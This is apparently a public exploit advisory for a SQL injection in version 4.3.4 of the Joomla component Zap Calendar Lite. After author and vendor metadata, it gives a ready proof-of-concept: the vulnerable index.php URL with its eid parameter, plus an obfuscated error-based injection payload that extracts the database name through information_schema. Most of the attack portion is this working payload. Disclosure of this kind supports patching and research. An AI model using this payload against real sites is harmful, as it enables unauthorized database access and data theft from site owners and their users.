# # # # # # Exploit Title: Joomla! Component Zap Calendar Lite 4.3.4 - SQL Injection # Dork: N/A # Date: 18.08.2017 # Vendor Homepage: https://zcontent.net/ # Software Link: https://extensions.joomla.org/extensions/extension/calendars-a-events/events/zap-calendar-lite/ # Demo: http://demo.zapcalendar.com/ # Version: 4.3.4 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A # # # # # # Exploit Author: Ihsan Sencan # Author Web: http://ihsan.net # Author Social: @ihsansencan # # # # # # Description: # The vulnerability allows an attacker to inject sql commands.... # # Proof of Concept: # # http://localhost/[PATH]/index.php?option=com_zcalendar&view=plugin&name=rsvp&task=rsvpform&user=&eid=[SQL] # 1++aND(/*!00000sELeCT*/+0x30783331+/*!00000FrOM*/+(/*!00000SeLeCT*/+cOUNT(*),/*!00000CoNCaT*/((sELEcT(sELECT+/*!00000CoNCAt*/(cAST(dATABASE()+aS+cHAR),0x7e,0x496873616E53656e63616e))+fROM+iNFORMATION_sCHEMA.tABLES+wHERE+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(rAND(0)*2))x+fROM+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a)&format=raw # # Etc.. # # # # #